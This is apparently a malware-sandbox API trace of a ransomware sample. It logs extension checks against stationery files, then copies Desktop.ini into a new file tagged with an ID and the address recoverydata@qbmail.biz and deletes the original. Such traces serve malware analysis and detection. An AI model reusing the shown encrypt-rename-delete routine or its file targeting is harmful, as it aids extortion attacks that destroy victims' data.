[0100.327] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0100.327] lstrlenW (lpString=".bz2") returned 4 [0100.327] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0100.327] lstrlenW (lpString=".7z") returned 3 [0100.327] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0100.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0100.327] lstrlenW (lpString=".dbf") returned 4 [0100.327] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0100.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0100.328] lstrlenW (lpString=".1cd") returned 4 [0100.328] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0100.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0100.328] lstrlenW (lpString=".jpg") returned 4 [0100.328] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0100.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0100.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0100.328] lstrlenW (lpString=".doc") returned 4 [0100.328] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0100.328] lstrlenW (lpString=".docx") returned 5 [0100.328] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0100.328] lstrlenW (lpString=".pdf") returned 4 [0100.328] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0100.328] lstrlenW (lpString=".xls") returned 4 [0100.328] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0100.328] lstrlenW (lpString=".xlsx") returned 5 [0100.328] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0100.328] lstrlenW (lpString=".ppt") returned 4 [0100.328] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0100.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0100.328] lstrlenW (lpString=".zip") returned 4 [0100.328] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0100.328] lstrlenW (lpString=".rar") returned 4 [0100.328] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0100.328] lstrlenW (lpString=".bz2") returned 4 [0100.328] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0100.328] lstrlenW (lpString=".7z") returned 3 [0100.328] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0100.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0100.328] lstrlenW (lpString=".dbf") returned 4 [0100.329] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0100.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0100.329] lstrlenW (lpString=".1cd") returned 4 [0100.329] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0100.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0100.329] lstrlenW (lpString=".jpg") returned 4 [0100.329] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0100.329] lstrcmpiW (lpString1=".jpg", lpString2=".data") returned 1 [0100.329] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0100.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0100.338] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=2575) returned 1 [0100.338] CloseHandle (hObject=0x220) returned 1 [0100.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0100.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0100.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0100.339] lstrlenW (lpString=".doc") returned 4 [0100.339] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0100.339] lstrlenW (lpString=".docx") returned 5 [0100.339] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0100.339] lstrlenW (lpString=".pdf") returned 4 [0100.339] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0100.339] lstrlenW (lpString=".xls") returned 4 [0100.339] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0100.339] lstrlenW (lpString=".xlsx") returned 5 [0100.339] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0100.339] lstrlenW (lpString=".ppt") returned 4 [0100.339] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0100.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0100.339] lstrlenW (lpString=".zip") returned 4 [0100.339] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0100.339] lstrlenW (lpString=".rar") returned 4 [0100.339] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0100.340] lstrlenW (lpString=".bz2") returned 4 [0100.340] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0100.340] lstrlenW (lpString=".7z") returned 3 [0100.340] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0100.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0100.340] lstrlenW (lpString=".dbf") returned 4 [0100.340] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0100.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0100.340] lstrlenW (lpString=".1cd") returned 4 [0100.340] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0100.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0100.340] lstrlenW (lpString=".jpg") returned 4 [0100.340] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0100.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0100.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0100.340] lstrlenW (lpString=".doc") returned 4 [0100.340] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0100.340] lstrlenW (lpString=".docx") returned 5 [0100.341] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0100.341] lstrlenW (lpString=".pdf") returned 4 [0100.341] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0100.341] lstrlenW (lpString=".xls") returned 4 [0100.341] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0100.341] lstrlenW (lpString=".xlsx") returned 5 [0100.341] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0100.341] lstrlenW (lpString=".ppt") returned 4 [0100.341] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0100.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0100.341] lstrlenW (lpString=".zip") returned 4 [0100.341] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0100.341] lstrlenW (lpString=".rar") returned 4 [0100.341] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0100.341] lstrlenW (lpString=".bz2") returned 4 [0100.341] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0100.341] lstrlenW (lpString=".7z") returned 3 [0100.341] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0100.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0100.341] lstrlenW (lpString=".dbf") returned 4 [0100.341] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0100.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0100.342] lstrlenW (lpString=".1cd") returned 4 [0100.342] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0100.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0100.342] lstrlenW (lpString=".jpg") returned 4 [0100.342] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0100.342] lstrcmpiW (lpString1=".gif", lpString2=".data") returned 1 [0100.342] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0100.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0100.342] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=4587) returned 1 [0100.343] CloseHandle (hObject=0x220) returned 1 [0100.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0100.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0100.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0100.343] lstrlenW (lpString=".doc") returned 4 [0100.343] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0100.343] lstrlenW (lpString=".docx") returned 5 [0100.343] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0100.343] lstrlenW (lpString=".pdf") returned 4 [0100.343] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0100.343] lstrlenW (lpString=".xls") returned 4 [0100.343] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0100.343] lstrlenW (lpString=".xlsx") returned 5 [0100.343] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0100.343] lstrlenW (lpString=".ppt") returned 4 [0100.343] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0100.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0100.343] lstrlenW (lpString=".zip") returned 4 [0100.343] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0100.343] lstrlenW (lpString=".rar") returned 4 [0100.343] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0100.343] lstrlenW (lpString=".bz2") returned 4 [0100.343] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0100.344] lstrlenW (lpString=".7z") returned 3 [0100.344] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0100.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0100.344] lstrlenW (lpString=".dbf") returned 4 [0100.344] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0100.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0100.344] lstrlenW (lpString=".1cd") returned 4 [0100.344] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0100.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0100.344] lstrlenW (lpString=".jpg") returned 4 [0100.344] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0100.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0100.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0100.344] lstrlenW (lpString=".doc") returned 4 [0100.344] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0100.344] lstrlenW (lpString=".docx") returned 5 [0100.344] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0100.344] lstrlenW (lpString=".pdf") returned 4 [0100.344] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0100.344] lstrlenW (lpString=".xls") returned 4 [0100.344] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0100.344] lstrlenW (lpString=".xlsx") returned 5 [0100.344] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0100.344] lstrlenW (lpString=".ppt") returned 4 [0100.344] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0100.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0100.344] lstrlenW (lpString=".zip") returned 4 [0100.345] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0100.345] lstrlenW (lpString=".rar") returned 4 [0100.345] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0100.345] lstrlenW (lpString=".bz2") returned 4 [0100.345] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0100.345] lstrlenW (lpString=".7z") returned 3 [0100.345] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0100.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0100.345] lstrlenW (lpString=".dbf") returned 4 [0100.345] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0100.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0100.345] lstrlenW (lpString=".1cd") returned 4 [0100.345] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0100.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0100.345] lstrlenW (lpString=".jpg") returned 4 [0100.345] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0100.345] lstrcmpiW (lpString1=".gif", lpString2=".data") returned 1 [0100.345] lstrlenW (lpString="Connectivity.gif") returned 16 [0100.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0100.346] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=2319) returned 1 [0100.346] CloseHandle (hObject=0x220) returned 1 [0100.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0100.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0100.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0100.346] lstrlenW (lpString=".doc") returned 4 [0100.346] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0100.346] lstrlenW (lpString=".docx") returned 5 [0100.346] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0100.346] lstrlenW (lpString=".pdf") returned 4 [0100.346] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0100.346] lstrlenW (lpString=".xls") returned 4 [0100.347] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0100.347] lstrlenW (lpString=".xlsx") returned 5 [0100.347] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0100.347] lstrlenW (lpString=".ppt") returned 4 [0100.347] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0100.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0100.347] lstrlenW (lpString=".zip") returned 4 [0100.347] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0100.347] lstrlenW (lpString=".rar") returned 4 [0100.347] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0100.347] lstrlenW (lpString=".bz2") returned 4 [0100.347] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0100.347] lstrlenW (lpString=".7z") returned 3 [0100.347] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0100.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0100.347] lstrlenW (lpString=".dbf") returned 4 [0100.347] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0100.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0100.347] lstrlenW (lpString=".1cd") returned 4 [0100.347] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0100.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0100.347] lstrlenW (lpString=".jpg") returned 4 [0100.347] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0100.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0100.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0100.347] lstrlenW (lpString=".doc") returned 4 [0100.347] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0100.347] lstrlenW (lpString=".docx") returned 5 [0100.347] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0100.348] lstrlenW (lpString=".pdf") returned 4 [0100.348] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0100.348] lstrlenW (lpString=".xls") returned 4 [0100.348] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0100.348] lstrlenW (lpString=".xlsx") returned 5 [0100.348] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0100.348] lstrlenW (lpString=".ppt") returned 4 [0100.348] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0100.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0100.348] lstrlenW (lpString=".zip") returned 4 [0100.348] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0100.348] lstrlenW (lpString=".rar") returned 4 [0100.348] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0100.348] lstrlenW (lpString=".bz2") returned 4 [0100.348] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0100.348] lstrlenW (lpString=".7z") returned 3 [0100.348] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0100.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0100.348] lstrlenW (lpString=".dbf") returned 4 [0100.348] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0100.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0100.348] lstrlenW (lpString=".1cd") returned 4 [0100.349] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0100.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0100.349] lstrlenW (lpString=".jpg") returned 4 [0100.349] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0100.349] lstrcmpiW (lpString1=".ini", lpString2=".data") returned 1 [0100.349] lstrlenW (lpString="Desktop.ini") returned 11 [0100.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0100.349] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=645) returned 1 [0100.349] CloseHandle (hObject=0x220) returned 1 [0100.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0100.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0100.350] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.350] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0100.350] GetLastError () returned 0x0 [0100.350] ReadFile (in: hFile=0x220, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x285, lpOverlapped=0x0) returned 1 [0100.351] WriteFile (in: hFile=0x1d8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x290, lpOverlapped=0x0) returned 1 [0100.352] ReadFile (in: hFile=0x220, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0100.352] WriteFile (in: hFile=0x1d8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xea, lpOverlapped=0x0) returned 1 [0100.353] SetEndOfFile (hFile=0x1d8) returned 1 [0100.353] CloseHandle (hObject=0x1d8) returned 1 [0100.353] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.353] SetEndOfFile (hFile=0x220) returned 1 [0100.354] CloseHandle (hObject=0x220) returned 1 [0100.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x26) returned 1 [0100.354] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0100.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0100.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0100.355] lstrlenW (lpString=".doc") returned 4 [0100.355] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0100.355] lstrlenW (lpString=".docx") returned 5 [0100.355] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0100.355] lstrlenW (lpString=".pdf") returned 4 [0100.355] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0100.355] lstrlenW (lpString=".xls") returned 4 [0100.355] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0100.355] lstrlenW (lpString=".xlsx") returned 5 [0100.355] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0100.355] lstrlenW (lpString=".ppt") returned 4 [0100.356] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0100.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0100.356] lstrlenW (lpString=".zip") returned 4 [0100.356] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0100.356] lstrlenW (lpString=".rar") returned 4 [0100.356] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0100.356] lstrlenW (lpString=".bz2") returned 4 [0100.356] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0100.356] lstrlenW (lpString=".7z") returned 3 [0100.356] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0100.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0100.356] lstrlenW (lpString=".dbf") returned 4 [0100.356] 